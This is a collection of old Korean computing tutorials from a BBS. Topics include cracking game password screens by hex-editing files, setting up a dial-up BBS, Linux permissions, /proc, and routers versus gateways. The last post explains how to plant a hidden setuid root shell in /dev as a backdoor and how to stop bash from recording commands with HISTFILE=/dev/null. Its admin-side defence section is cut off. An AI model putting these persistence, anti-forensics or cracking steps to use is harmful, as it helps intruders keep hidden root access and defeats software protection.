제 목: [강좌] pctools 로 크� 크랙 만드는 법~ 크랙을 못만드셔서 전화비를 헛되이 허비하시는 분들이 계십니다. 그런 분들은 생각해서 제가 크랙을 만드는 법을 알려드리죠. 우선 PCTOOLS 로 크랙하기 입니다. 1. PCTOOLS 로 크랙하기 이 프로그램이 쓸모없다고 지우시는 분들이 계신데 지우셨다면 좋은 에디트 프로그램을 버리신겁니다. 크랙을 하고자하는 게임이 있는 디렉토리로 갑니다. 그곳에서 PCTOOLS 를 실행 시키세요. 그런다음 암호관련 파일이 있을거라고 예상되는 파일을 적어놓으세요.(여기서 주의 하실점은 크랙하실 파일은 다른곳에 COPY 를...) 그런다음 원하는 파일에가서 'E' 키를 누르세요. 그럼 키워드를 넣을수가 있습니다. 이렇게 되면~ 두자리 숫자가 가득찬 화면을 보실 수 있습니다. 거기서 F3 키를 누르세요. 그럼 커서가 깜박깜박 거립니다. 그래서 만약 00 이란 숫자가 많으면 제대로 들어오신거고 아니면 실패입니다. 실패하셨을땐 ESC 키를 누르셔서 취소시키시고 다른 파일을 EDIT 하시면 됩니다. 성공했을때는 벌써 크랙이 80% 는 성공한 겁니다. 자 이제 00이라고 되지 않고 4D FF FG CG ....... 이런식으로 되어 있는 부분을 모두 다 00 으로 고치세요. 그런후 F5 를 누르셔서 SAVE 를 시키신후에 게임을 실행시키면 평소때 나오던 패스워드 화면이 안나오고 그냥 지나쳐 가거나 아무키만 눌러도 게임이 실행이 됩니다 2. GAME WIZARD 로 크랙하기 게임 위저드는 게임 에디터 프로그램입니다. 구하기가 만만치 않은 프로그램인데 근데 알아두실점은 이 프로그램으론 크랙 만들기가 쉽지만 사용이 불편하다는 겁니다. 우선 게임을 실행시킵니다. (예를 들어 삼국지3) 그럼 이런 화면이 뜹니다. +------------------+ |INPUT CODE:_ | |Page 14 | +------------------+ 14page 의 암호가 ABCD 라고 가정하면. +------------------+ |INPUT CODE:abcd | |Page 14 | +------------------+ 라고 입력한 후 엔터를 치지 마시고~ ~ 키를 누르셔서 게임 위저드를 불러오세요. 거기서 SAVE ..... 라고 되어있는 박스를 선택해서 저장할 화일명을 넣습니다. ( 예를 들어 SAM3 ) 그런후 및에 칸에다 2줄 정도 되는 간단한 화일에 대한 설명을 넣을수 있습니다. 자 이런후 게임위저드,삼국지 3 를 모두 종료 시킵니다. 그런후 다시 삼국지 3 를 실행시키세요. 그러면 또 패스워드를 물어오는 화면이 나옵니다. 여기서 또다시 게임위저드를 불러와서 LOAD ...... 라고 되어있는 부분을 선택하세요. 그런후 화일명에서 SAM3 를 입력하세요. 그러면... 화면이 아까 것과 똑같이 나옵니다. 거기서 엔터만 치면 게임이 실행되죠~ ps. 참고사항 123456789ABCDEF 는 16진수에서 사용하는 숫자들입니다. 보통 10진수에서는 12345678910 이렇게 나가죠? 16진수는 F가 최고랍니다. 제 목: 쉽게 비비에� 만들기 (1). 만들기 전에 준비해야 할것.. * 일단 컴퓨터와 모뎀이 있어야 겠죠. 컴퓨터는 386이상을 권장합니다. 안그러면 아마 쓰기 힘들꺼예요. 물론 XT 등에서도 할 수는 있을꺼예요.. * 호스트 프로그램이 있어야 합니다. 호스트 프로그램이란? 비비를 운영하기 위해 쓰는 운영프로그램입니다. 등대 ,곰주인 ,푸른물,호롱불 등이 있습니다. 마음 내키는대로 써 보세요. * 하드디스크가 여유가 있어야 합니다. 하드가 최소한 200 메가는 있어야 자료들을 많이 담을수 있습니다. * 운영시간대를 정해야 합니다. 안정된 비비를 만들기 위해선 이것이 필수조건입니다! 운영시간이 안 맞으면 아마 꽤 고생을 할거예요. (이 사항은 나중에 제가 자세히 설명을 합니다.) 자 이제 준비가 다 돼셨는지요? 위의 내용만 충족해도 비비를 만드는데는 아무 이상이 없습니다. -------------------------------------------------------------------------- ---- (2). 주의 사항 * 운영시간대를 잘 정해야 합니다. 보통 저녁 11:00 부터 새벽 6:00 까지 하는 경우가 많습니다. 왜냐면 보통 시간대에는 집전화를 많이 쓰기 때문이죠. 보통 비비를 운영하는 집에서 전화를 받아보면 통화중인 경우가 많은데 그건 회원들이 시간을 안지키고 전화를 해서 그런거지요. 추천 : 그냥 전화국에 가서 전화번호 하나 더 만들면 장땡입니다. 하나 만드는데 24 만원 정도 ? * 절대로 더블스페이스같은 하드 압축프로그램을 쓰지 마세요. 하드가 꽉 찼다고 하드압축을 하시는 분들이 있는데요. 더블스페이스같은 하드 압축프로그램은 자살행위나 마찬가지입니다. 그런걸 쓰는것은 하드디스크의 속도도 느려질뿐만 아니라 늘려지는 용량도 별로 안 ┥니다. 왠만하면 하드 하나 사세요. -------------------------------------------------------------------------- ---- 기본적인 준비 사항들 1. 일단 호스트 프로그램을 정합니다. 호스트 프로그램이 뭔지는 대충 짐작이 가셨겠죠? 이런 프로그램들은 천리안 나우누리 하이텔 등의 자료실에 가보면 있습니다. * 제가 추천하는 것은 '등대' 입니다. 그건 비비초보자들을 위해 쉽게 만들어졌기 때문이죠. 뮈니뮈니해도 CFG 설정을 쉽게 할 수있습니다. 2. 비비의 이름을 정합니다. 이건 그 비비의 성격을 알 수 있게 정하는게 좋을것 같습니다. 예를 들면 게임에 대해서 선전할려면 '게임나라' 나 '게임천국' 등.. 3. 운영시간을 정합니다. 잘 정해야 안정된 비비가 된다는것을 아시죠? * 참 고 초보자들은 무슨 호스트가 좋은지 잘 모르실겁니다.. 제가 각 호스트에 대한 설명을 조금 요약해 봤습니다.. ┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯ ┯ ┯ ┯ ┯ ┯ ┯ 등대 ┯ 호롱불 ┯ 곰주인 ┯ 푸른물 ┯ ┯ ┯ ┯ ┯ ┯ ┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯ ┯ 강력 추천. ┯ CFG 파일을 만 ┯ 많이 쓰이고 ┯ 메모리가 없 ┯ ┯ 쓰기 편하다. ┯ 드는데 시간이 ┯ 있는 호스트. ┯으면 쓰기 힘들다┯ ┯사용자를 편하게 ┯ 많이 걸린다... ┯ 꽤 좋다.. ┯이 호스트도 많이┯ ┯ 하도록 했음 ┯ 기능이 좋음.. ┯푸른물과 비슷.┯ 쓰인다. ┯ ┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯┯ -------------------------------------------------------------------------- ---- -- 호스트를 정하셨으면 이제 시작해 봅시다. 여기서는 제가 적극 추천하는 등대를 가지고 해 보겠겠습니다. 1. 일단 호스트를 구합니다. 2. 그 다음 SETUP 을 실행시킨 다음 환경을 설정 합니다. 3. 그 다음은 메뉴 구성입니다. 메뉴는 트리구조 형식으로 돼어있습니다. 아래 그림을 참조하시고요. 예를 들면 초기화면 서비스 가입신청 ┕ 운영자에게 ┕ 정보변경 ┕ 회원조회 도 움 말 ┕ 게시판 이야기 마당 ┕ 사고 팔고 ┕ 묻고 답하고 ┕ 바보바보바보 ┕ 낙서장 ┕ 채팅 이야기한판 ┕ 메모장 ┕ 자료실 게임 자료실 ┕ 통신 자료실 ┕ 개거지 자료실 ┕ 동호회 기업 포럼-큰사람 ┕ 바보바보바보 게임 동호회 ┕ 안시 동호회 ┕ 프로그램 동호회 ┕ 동아리 토론장 ┕ 오줌 ┕ 작은 모임 친목 와와오아 ┕ 바보 모임 ┕ 학교 울 학교 ┕ 니네 학교 ┕ 지역 서울시민 모임 우리집 모임 천재 모임 보통 이런 식으로 되어있는데. 이걸 일일이 직접 문서작성기를 이용해서 만들기가 어렵죠. 그래서 이단점을 고친게 푸른물과 등대인데, 제가 이래서그걸 권하는 겁니다.(등댜와 푸른물은 setup에서 자기가 마음대로 고칠수 있습니다 .) 어튼간, 이런 형식을 컴퓨터에서 하려면 디렉토리를 따로 만들어야 겠 지요. 그러니까 text 10000 11000 ┕ 12000 ┕ 13000 ┕ 20000 21000 ┕ 22000 22100 ┕ 22210 22211 ┕ ┕ 22212 ┕ 22300 ┕ 30000 31000 32000 32100 32200 ... 이런식입니다. (등대나 푸른물의 압축을 푸시고 나서 setup을 실행시키시면 알아볼 수 있습니다.) *참고:등대는 setup , 푸른물은 gumdong 처음 운영하시는 분들은 그 예제를 그냥 고치는 선에서 사용하시는것 이 안전하고 편할겁니다. 그리고 메뉴에도 종류가 있는데 , 상위메뉴 - 10000 과 11000이 있다면 10000이 상위메뉴란 뜻입니다. 곧, 하위메뉴로 들어갈수 있는 분기점이 상위메뉴입니다 . 그러니까 자료실 통신 자료실 게임 자료실 중에서 자료실이 상위메뉴가 되는것이고 나머지가 하위 메뉴입니다. 한마디로 여기는 아무것도 없는것이죠. 글쓰기 메뉴(게시판 메뉴) - 말그대로 게시판 메뉴입니다. 글을 작성할수 있는 메뉴입니다. 자료실 메뉴 - 자료실메뉴입니다. 업다운을 할수있습니다. 동호회 메뉴 - 말그대로 동호회를 운영하는 메뉴입니다. 온라인 게임 메뉴 - 온라임게임을 할수 있는 메뉴 그외 메뉴들은 부수적인 것들이니 각자 호스트에 포함되어 있는 사용설명서를 보시기 바랍니다. E. 호스트의 로고를 정합니다. 이것은 대형비비 같은 경우에는 텍스트 화면을 쓰는데, 사설비비는 안시를 쓰는 경우도 있습니다. 여기서 안시란 한마디로 말해 통신에서 그래픽을 쓸수 있게 하는것을 말합니다. 안시는 비교적 깔끔하게 하는것이 사용자들이 사용하기에 편리합니다 괜히 복잡하면 짜증나죠. 안시 사용법은 알아서 알아보세요.(왜냐하면 그것마저 설명하면 너무 복잡해 집니다. 솔직히 말해 몰라요.) 사용법은 메뉴정하는데 밑에 보면 화면파일이라는 데가 있는데 거기 다가 자기가 작성한 로고를(이건 이야기의 문서작성기로) 집어넣으면 됩니다. F. 프로토콜을 정합니다. 이것또한 매우 중요한것으로써 ,비비에스의 핵심인 자료 업다운과 관 계가 있습니다. setup상에 있는 프로토콜 편집기로 가면 보통 dsz로 설정되어있습니 다.(이것만 쓰셔도 무방합니다.) 다른 프로토콜을 쓰시려면 그 프로토콜의 옵션을 알아서 거기다 입력 하시면 됩니다. G. 그 외 잡다한것들을 설정합니다. 가. 시간은행 : 보통 사설 비비에스는 운영시간의 한계와 노드의 한 계로 시간제라는걸 이용하는데 이것은 한마디로 말해 일정 시간을 정해놓고 그 시간만 사용하는것입니다. 그러니까 a란 사람이 접속했을때 사용할수 있는시간 은 30분으로 정하면 그 사람의 사용시간이 30분을 넘 으면 전화가 자동으로 끊깁니다. 사용시간을 늘리고 싶다면 활동을 많이 해서 레벨을 향상시키면 그만큼 사용할 시간이 늘어납니다. 나. 온라인 게임: 보통 통신상에서 게임을 하는것인데 우리가 생각하 는 쥬라기공원 이나, 단군의 땅 같은게 아니라 보통 가위 바위 보,숫자 맞추기 정도가 고작입니다 그러나 여기서 이기면 시간이 늘어나고 지면 깎이 는 옵션을 주면 재미있겠죠.(푸른물의 경우 온라인 게임 옵션을 붙일수 있음.) 다. 운영자 아이디: 진짜 잡다한것. 보통 sysop, 운영자로 하지만 자기 마음대로 아이디를 넣을수 있습니다. 라. 운영시간 :이건 알아서 정하시고 24시간 하시려면 25라고 입력 합니다. 마. 업다운 보상점: 이건 업로드를 하면 그에 합당한 보상을 하는것으로 써 보통 1:2로 되어있습니다. 업로드를 하나하면 2개를 다운받을수 있다는거죠. 시간도 보상하는데 업하는데 소비한 시간만큼을 보상합니다.(2배로) 그러나 이것은 시삽이 임의대로 고칠수 있습니다. ４. 이제 시험 운영을 해봅시다~. 이제 실행시켜 봅시다. 그럼 폰트와 디렉토리를 읽으면서 비비에스가 시작됩니다. 가끔 runtime error 등의 메세지가 나오면서 실행이 안되는 경우가 있는데 그건 setup에서 잘못지정하거나 모르는 문제가 생긴것이므로 Setup에서 다시 고치거나 아니면 다시 압축을 푸시기 바랍니다. 실행이 됐다면 1.라디오 같은 화면이 뜨면서 대기 상태에 있습니다. 2.그러면 그때에 ins키를 눌러 로컬로 접속을 합니다. (로컬접속이란 운영자가 가상으로 접속해서 비비에스의문제를파악하는 것을 말합니다.) 3.그렇게 되면 로고가 뜨면서 login'비비이름'을 입력하라고 하는데(초기치) 그때 입력하고 엔터를 치면 공지사항이 나옵니다. 공지사항엔 아무것도 없겠죠. 그때 쓰시려고 하지만 쓸수가 없습니다. 왜냐하면 가입이 안됐기 때문입니다. 아까 시삽이름을 정했잖아? 라고 하시겠지만 그건 어디까지나 정한거고 가입을해야지만 됩니다. 가입을 하시고 F9키를 눌러 레벨과 점수를 최고치로 올려주세요. (보통 1000이상이면 시삽의 권한이 주어집니다.) 그 다음부터는 모든권한이 다 부여됩니다. 4.이제 그후부터는 여러분의 마음에 따라 비비가 썰렁한 비비가 되느냐 잘나가는 비비가 되느냐에 달렸습니다. 열심히 합시다~! ５.비비를 운영하는데 몇가지 충고사항 및 권장 사항. * 비비가 회원이 많다고 좋은것은 아니죠. 회원이 많으면 그많큼 비비가 조잡 해집니다. 활동을 많이 하는 회원들만있으라는 법은 없으니까요. 그러니까 접속이나 활동이 저조한 회원은 가차없이 삭제합시다. 별 도움이 안되는 인간들이죠. * 운영시간에 힘써야 합니다. 광고를 낼때 운영시간을 화실히 말하지 않으면 시도때도 없이 전화가 걸려옵니 다 * 자료에 힘써야 합니다. 누가 자료없는 썰렁한 비비에 돈날려가면서(전화세) 업을 합니까? 자료가 많으면(좋으면의 뜻도 됨) 그만큼 그걸 다운받으려고 회원들이 업을 하게 됩니다. 이것도 비비운영의 성공과 실패의 갈림길이 됩니다. *게시판에 관심을 둡시다. 보통 사설비비는 게시판이 썰렁합니다. 사설비비가 보통 자료다운을 위해서 생겨났죠.그래서 게시판이 썰렁한데 게시판 작성시 보상점을 올려주거나 한다면 게시판은 왕성한(?)활동에 차게 됩니다. *회원들과의 잦은 채팅은 피합시다. 채팅을 너무 오래하면 그만큼 올수 있는회원들이 작아지기 때문에(특히 시간제) 긴 채팅은 피합시다. 자꾸 접속이 안되면 회원들이 접속을 안하죠. *그리고 너무 많은 시간도 주지 맙시다. 시간을 너무 오래주면 안돼죠. 결과는 위와 같은 현상이.... * 왠만하면 하드를 하나 늘리는게 좋습니다. 비비를 운영하다 보면 100-200메가는 기본으로 까먹습니다. 그러다보면 하드에 있던 자료를 눈물을 머금고 지우게 됩니다. 그래서 하나 사는게 좋죠. 더블스페이스 같은 뻥튀기 프로그램은 권장할수 없습니다. 안정성이 떨어져서 한번 잘못쓰면 그동안의 운영자료가 뻥하고 날라가죠. 그래서 뻥튀기 인가? *광고를 자주합시다. 이건 말할 필요도 없는...권장할만한 것이 있다면 쇼킹하게!!... 예를 들어 환상의 게임비비! 최신종만 있는 게임비비. 레벨낮고 운영자 좋고~ 인터넷에서 직접퍼온 최신자료들이 수두룩~ 폭파하는 자료를 멈출수 없다! 최신게임이 아니면 취급하지 않습니다. (약간 뻥을 쳐줍시다..헤헤) *이건 중요한건데 초보자의 실수중 하나죠. 메뉴를 만들어 놓고 화면파일을 만들지 않으면 있으나 마나 입니다. 메뉴가 안뜨게 되죠. 쉽게 말해서 음악동을 만들었는데 그에 대한 화면 파일을 안만들거나 상위메뉴 에다 써놓지 않으면 있는지 없는지도 모르게 되죠.그것때문에 문의를 많이 받았어요. 이 정도만 지키면 아마 좋은 비비가 될것임을 확신합니다. 제 목: [강좌] 리눅스에서 실행파일이란? 실행파일이란? 도스에서는 확장자가 exe 이거나 bat 아니면 com 등 이런 종류가 실행을 할수 있는 실행 파일이다. 하지만 리눅스&유닉스에서는 실행파일을 확장자로 구분하는 것이 아니다. 200자나 되는 이름의 실행파일이 있을 수도 있고 암튼 실행파일은 이름이나 확장자로 구분하지 않는게 유닉스&리눅스이다. 그렇다면 어떤것이 실행파일인가? 여기까지 말하면 무엇을 말하는지 아는 사람은 p 를 눌러라. 바로 권한 설정으로 이파일이 실행파일이라고 알려준다. 유/리(유닉스/리눅스 이하)에서는 chmod 이라는 유틸로 권한을 설정할 수있다. 유/리는 멀티 운영체제이기 때문에 파일하나하나에도 소유자가 있어야 하며 또한 권한도 설정되어야 한다. 그래야 시스템을 지킬수가 있지 않은가. 아무나 들어와서 파일 지울수 있다고 하면 어떻겠는가. 살아남을 유/리가 있을까? 바로 권한과 소유권은 이런 이유로 있는 것이다. 빅텔과 같은 통신에서는 아이디와 비번을 입력해서 자신의 고유 아이디로 사용을 한다. 이렇게 해야 남의 파일을 못지우고 바꿀수가 없게 되는 것이다. 유/리도 마찬가지다. 이제 권한,소유권의 존재 의미를 이해했을꺼라 믿는다. 그 권한을 바꿈으로써 실행파일이 될수도 있고 다른 권한으로 될수도있다. 즉.. 파일은 읽기 파일 쓰기파일 실행 파일로 크게 나눈다. 유/리 에서 ls -al 이라는 명령을 내리면 이렇게 나온다. -rw------- 1 root root 40 Feb 12 03:13 nohup.out -rw-r--r-- 1 root root 995 Jan 16 02:45 okim -rw-r--r-- 1 root root 0 Feb 28 19:45 outlaw.zip drwxr-xr-x 2 root root 1024 Dec 13 22:05 pic/ ---------- ------------- ------------- (1) (2) (3) (2) 번은 (3)번(파일)의 소유가 누구인지 보여주는 것이고 (1) 번은 파일의 권한을 보여준다. (1)번에 들어갈수 있는 대표적인것은 r(읽기) w(쓰기) x(실행) 이렇게 나눌수 있다. 그리고 (1)번은 크게 3블럭으로 나눌수있다. drwxr-xr-x 위의 경우를 보자 맨앞 첫칸은 (3)번이 파일인지 디렉토리이름 ㅇㅣㄵ 디렉토리 이름인지 구분하는 거다 D가 붙으면 디렉토리 바로 옆 3칸은 소유하는 주인에 대한 권한설정 옆 3칸은 그룹에 대한 권한 설정 마지막 3칸은 바로 모든 사람을 위한 권한 설정이다. 우리가 중요하게 여길 것은 실행파일은 그 3칸중에 하나라도 x라는 표시가 있으면 실행파일로 인식한다. -r-------- 이런 권한은 바로 소유자만 읽을수 있는 권한 -r--r---- 이런 권한은 소유자와 그룹이 읽을수 있는 권한 -r--r--r-- 이런 권한은 소유자 그룹 모든 사람이 읽을 수 있다. 중요한 파일은 맨위의 소유자만 읽을수 잇게 해놓아야 겠지 않을까? --w------- 이런 권한은 소유자만 덧붙이거나 오버롸이트 할수있는 권한 --w--w---- 이런 권한은 소유자와 그룹이 쓸수 있다 --w--w--w- 이것은 모든 사용자가 쓸수 있다. ---x------ 소유자만 실행할 수 있다. ---x--x--- 소유자, 그룹이 실행할 수 있다. ---x--x--x 모든 사용자가 실행할 수 잇다. 아주 간단하지 않은가? x 권한이 바로 실행권한이다. 제 목: top 이라는 프로그램의 용도는? top 이라는 프로그램은 현재 시스템의 상태를 알려주는 프로그램입니다. top 이라는 프로그램은 모든 종류의 유닉스에서 컴파일이 가능하고 기능이 뛰어나죠. 보통 리눅스 패키지에는 기본적으로 들어가있습니다. top 으로 볼수 있는 것들은.. 메모리 상태, cpu상태, 몇개의 프로세스가 떠있나.. 어떤 데몬이 떠있나, 좀비 프로세스는 몇개가 있나.. 메모리 점유율.. cpu 점유율.. 몇명의 유저가 접속되어있나.. 등등..아주 많은 기능이 있죠. 보통 top 하나만 띄워도 많은 정보를 알 수가 있죠. 제 목: [강좌] /proc 디렉토리에는? proc 디렉토리를 한번 들어가보세요. 여러가지 정보들이 잔뜩있습니다. 함부로 건드리지 마세요. 하지만 그 정보들중엔 여러가지 시스템 정보가 숨어있답니다. /proc 디렉토리를 ls 명령으로 보면.. -r--r--r-- 1 root root 0 Mar 24 23:52 cmdline -r--r--r-- 1 root root 0 Mar 24 23:52 cpuinfo -r--r--r-- 1 root root 0 Mar 24 23:52 devices -r--r--r-- 1 root root 0 Mar 24 23:52 dma -r--r--r-- 1 root root 0 Mar 24 23:52 filesystems -r--r--r-- 1 root root 0 Mar 24 23:52 interrupts -r--r--r-- 1 root root 0 Mar 24 23:52 ioports -r-------- 1 root root 25169920 Mar 24 23:52 kcore -r-------- 1 root root 0 Mar 23 1996 kmsg -r--r--r-- 1 root root 0 Mar 24 23:52 ksyms -r--r--r-- 1 root root 0 Mar 24 23:48 loadavg -r--r--r-- 1 root root 0 Mar 24 23:52 locks -r--r--r-- 1 root root 0 Mar 24 23:52 mdstat -r--r--r-- 1 root root 0 Mar 24 23:13 meminfo -r--r--r-- 1 root root 0 Mar 24 23:52 misc -r--r--r-- 1 root root 0 Mar 24 23:40 modules -r--r--r-- 1 root root 0 Mar 24 23:52 mounts dr-xr-xr-x 2 root root 0 Mar 24 23:40 net/ -r--r--r-- 1 root root 0 Mar 24 23:52 pci -r--r--r-- 1 root root 0 Mar 24 23:52 rtc dr-xr-xr-x 2 root root 0 Mar 24 23:52 scsi/ lrwxrwxrwx 1 root root 64 Mar 24 23:52 self -> 3739/ -r--r--r-- 1 root root 0 Mar 24 23:52 stat dr-xr-xr-x 5 root root 0 Mar 24 23:52 sys/ -r--r--r-- 1 root root 0 Mar 24 16:57 uptime -r--r--r-- 1 root root 0 Mar 24 23:52 version 이런 등등.. 여러가지 파일들이 있어요. 그런데 모두 파일 크기거 거의 0 이죠? 아니면 엄청큰 비정상적인 형태의 파일들로 보이죠. 그런데 그 파일안을 한번 보세요. cat version Linux version 2.0.32 (root@porky.redhat.com) (gcc version 2.7.2.3) #1 Wed Nov 19 00:46:45 EST 1997 [root@loveyou /proc]# more cpuinfo processor : 0 cpu : 586 model : Pentium 75+ vendor_id : GenuineIntel stepping : 12 fdiv_bug : no hlt_bug : no f00f_bug : yes fpu : yes fpu_exception : yes cpuid : yes wp : yes flags : fpu vme de pse tsc msr mce cx8 bogomips : 53.04 이렇게 현재 시스템의 상황을 보여준답니다. /proc 과거에 ftp 상의 버그에 유용하게 쓴적이 있었군요.. /proc 디렉토리의 여기저기를 보면서 현재의 유저들과의 어떤 관계들이 있는지도 한번 보세요. 제 목: [강좌] xosview 라는 프로그램.. 레드햇 을 까신분들은 기본적으로 들어있는 엑스 윈도우용 응용 프로그램이네요. 이것을 한번 실행시켜보세요. xosview & 그러면 약간 화려한(?) 그래픽이 첨가된 툴이 하나 뜹니다. 아주 이뻐요. load 율.. cpu 점유율 메모리 점유율 , 스왑 점유율, irq 사용 현황 등..아주 그래픽으로 보기 쉽게 나타나는 툴이 있습니다 현재 시스템의 상태를 아주 쉽게 보여주죠. 사용해보세요. 시스템 관리자라면 띄어볼만합니다. 제 목: [참고] 라우터와 게이트 웨이의 차이점 Gateway의 역할은 클래스가 다른 네트워크를 연결해 주거나, 프로토콜이 다른 두 네트워크를 연결해 주는 역할을 합니다. 보통 IP 클래스가 다른 두 TCP/IP를 연결하는데는 라우터로 충분합니다. 게이트 웨이는 라우터보다 네트워크 계층을 더 포함하기 때문에 라우터 보다 더 많은 서비스를 지원합니다. 예를 들어서 Proxy ARP같은 예를 들면, Proxy ARP는 일종의 게이트웨이 서비스입니다. 게이트웨이를 사이에 둔 두 네트워크는 동일한 IP가 존재 할 수 있는데, 이동일한 IP에 대해서 ARP의 오동작을 막기위해서는 네트워크 레이어의 기능을 가진 ARP 게이트웨이가 존재해야만 합니다. 라우터만이라면 충돌할겁니다. 일종의 중재서비스이죠.. DataBase 구축?의 차원에서.. 조금 자세하게 알아보죠.. < Router > 흔히들 말하는 네트워크층의 어드레스를 시초로해서 중계 제어를 실현하는 랜 간 접속장비입니다. 네트워크가 복잡해지면 필요합니다. 1) 라우터는 주소 테이블을 해당 라우터와 연결되어 있는 다른 라우터들 간에 분산시켜 정보를 공유합니다. 2) 각 라우터는 해당 라우터가 담당하는 네트워크 내의 모든 노드의 주소와 각 Lan에 이르는 최적의 경로상에 있는 다음 hop에 대한 정보, 즉 Lan에 가장 빨리 전송하기 위해 패킷을 어떤 라우터에 전송할 것인가 하는 것 을 결정해주는 정보를 가집니다. 3) 라우터는 전송을 할 때 그 다음 노드의 라우터를 조사하게 됩니다. ▶ 각 라우터에 경로 지정을 하는 기능이 있어 패킷의 집중을 예방합니다. ▶ 라우터는 전송되는 자표 타입과 그 자료를 송신하고 있는 노드를 알 수 있으며 이와 같은 정보의 분석을 통해서 전송량을 조절합니다. 4) Microsoft 95나 NT등이 사용하는 Netbios같은 프로토콜은 LAN을 구분하지 않기 때문에 라우터의 개념을 사용하지 않습니다. 즉, 라우터 너머의 노드 들은 Netbios를 통해서는 볼 수 없다. ○● 특 징 ●○ ▶ Network Layer 간의 연결 ▶ 동일한 Transport Protocol을 사용하는 분리된 network를 연결한다. ▶ 경로지정방식은 Routing Table에 따라 Network을 인식하여 경로를 배정 ▶ 수신된 패킷에 의하여 타 Network또는 자신의 Network내의 노드 결정 ▶ 여러 경로 중 가장 효율적인 경로를 선택하여 Packet Forwading ▶ Load Balancing : 네트워크의 처리 능력을 개선해주는 기능 ▶ Flow Control ▶ Internetwork 내부에서 여러 Subnet 구성이 가능 ▶ 다양한 Network management 기능 수행 < Gateway > 트랜스포트층 이외의 층간의 접속, 또는 전체 층 간의 접속에 사용하는 랜 간 접속 장비인데, 일반적으로 말하면 어플리케이션 레벨이 될 때까지 전혀 다른 프로토콜로 동작하는 네트워크 간을 중계하는 접속장치입니다. 번역기? 통역관? 그정도 생각하면 됩니다. 주로 컴퓨터가 Gateway가 되죠. 1) 서로 다른 Network Architecture 및 Protocol간을 연결시켜 주는 시스템으로, LAN과 LAN 사이의 데이터 중계를 담당하는 통신 서버를 일컫습니다. 2) 하드웨어와 프로토콜, Nos가 전혀 다른 PC, 대형 기종, 미니급 컴퓨터등이 네트워크에서 사용되는 서로 다른 프로토콜을 변화시켜 결합시켜줍니다. ○● 특 징 ●○ ▶ Session, Presentation, Application 계층간의 연결을 담당 제 목: [강좌] 백도어 설치 종류.. 백도어..란? 어떤 호스트를 해킹해서 나중을 위해 금방 해킹이 되도록 문을열어두는(?) 것을 말합니다. 즉, 루트를 딴후에 나중에 금방 쉽게 들어와서 루트를 딸수 있도록 하는 것이죠. 가장 쉬운 백도어는 루트쉘 복사 입니다. 관리자가 전혀 볼수 없는 디렉토리에다가 올려놓죠.. 보통 /dev 라는 디렉토리나 /usr/man 이라는 디렉토리의 어딘가에 숨겨 놓습니다. 하지만 관리자가 초보가 아닌이상은 들키죠. 루트쉘의 특징을 살펴볼까요? 원래 로긴은 하게되면 로긴 프로그램은 해당 아이디의 권한을 설정해준채로 쉘을 줍니다. 이때 사용자의 권한은 /etc/passwd 파일에 설정되어있습니다. operator:*:11:0:operator:/root:/bin/bash games:*:12:100:games:/usr/games: 위에서 숫자 부분이 있죠? 12:100 <- 여기서 12 = UID 100 = GID 이렇게 권한을 설정해서 쉘을 실행시키죠. 그런데 루트쉘은 setuid 라는 설정에 의해서 위의 설정과는 별개로 그 쉘을 실행시키면(ex: bash , csh) 그 쉘을 실행시키는 동안에는 루트가 되는 거죠. 즉..이런 형식입니다. -rwsr-xr-x 1 root bin 299649 Nov 18 1996 /bin/bash 위의 형식처럼 rws 인 형태가 루트쉘이죠. 그렇다면 ./bash 를 실행하면 그동안 루트가 되겠죠? 모르겠으면 강좌란을 살펴보세요. 모두 설명했던 부분이에요. 그런 루트쉘을 적당한 이름으로 바꾸고 ttyaabb 등... 이파일을 /dev/ 디렉토리에 가져다 놓습니다. 그후에 루트가 필요할때마다 그 파일을 실행시키면 되죠. 그런데 유닉스&리눅스에서 중요한 것은 bash 를 쓰게 되면 .bash_history 라는 파일이 생깁니다. .bash_history 파일의 특징은 우선 bash 쉘을 실행시킨후의 모든 명령을 그 파일에 저장시킵니다. 그리고 저장되는 파일의 위치는 쉘을 실행시킨 사람의 uid 를 따릅니다. euid 가 더 우선권이 있슴.. 즉.루트쉘을 실행시키면 루트 디렉토리에 .bash_history파일ㅇ 생기고(원래 존재하면 덧붙여 써짐..) 그 파일에 저장이 되요~ 또한 한가지 특징은 사용자가 그 쉘을 끝냈을때 전부 저장이 되죠. 실행중에는 저장이 안됨. 즉.우리가 로그아웃하면 그때 저장이 되요. 웃기죠? 황당하고. 그래서 우리는 루트쉘을 실행시킨후 루트 디렉토리로 가야 합니다. 그후에 .bash_History 라는 디렉토리를 만들어 놓아요. 그러면 파일이 안만들어지겠죠..디렉토리 우선이니까. 또하나의 방법은 .bash_history 파일을 /dev/null 이라는 파일에 링크를 시키는 방법입니다. 즉.. ln -s /dev/null /root/.bash_history 라고 명령을 내리면 .bash_history파일이 /dev/null 파일에 링크가 되요. 그렇게 되면 .bash_hisroty 파일에 덧붙여 쓰기를 하면 /dev/null 즉 널포인터(쓰레기처리장 ^^;)으로 보내지게 되죠. 사라져요..내용이..히히 하지만 더 좋은 방법이 있습니다. 바로.. set 설정..즉 환경 설정을 바꾸면 되죠. 한번 유닉스 상태에서 (리눅스) set 를 쳐보세요. LS_OPTIONS=--8bit --color=tty -F -b -T 0 MACHTYPE=i386 MAIL=/var/spool/mail/loveyou MAILCHECK=60 GROUP=users HISTFILE=/home/loveyou/.bash_history HISTFILESIZE=500 HISTSIZE=500 HOME=/home/loveyou ........ (이하 생략) 이런 형식으로 나오죠. 여기서 유심히 볼것은 HISTFILE=/home/loveyou/.bash_history 입니다. 이것은 바로 .bash_history 라는 파일의 위치를 가르키는 변수이기 때문이죠. 그럼..이렇게 함으로써 해결이 되겠죠. export HISTFILE=/dev/null 자.. 이제 초보적인 백도어 설치와 그에대한 안전한 조치를 강좌했습니다. 이번엔 관리자의 입장에서 방지하고 막는 방법을 말하죠. 관리자는 언제나 끊임없이호스트를 살펴야겠죠. 나쁜짓 하는 사람이 있을까하고요.. 우선 setuid 걸린 프로그램의 대부분은 퍼미션이 4755 입니다. 보통 퍼미션은 777 퍼미션을 쓰지만 ex) chmod 777 /bin/bash 하지만 앞에 한자리 더 쓰게 되면 특수한 퍼미션을 만들수있죠. 1 은 스틱키 설정 4는 setuid 설정.. ex) chmod 1777 /tmp <= 일반적인 /tmp디렉토리 설정 chmod 4755 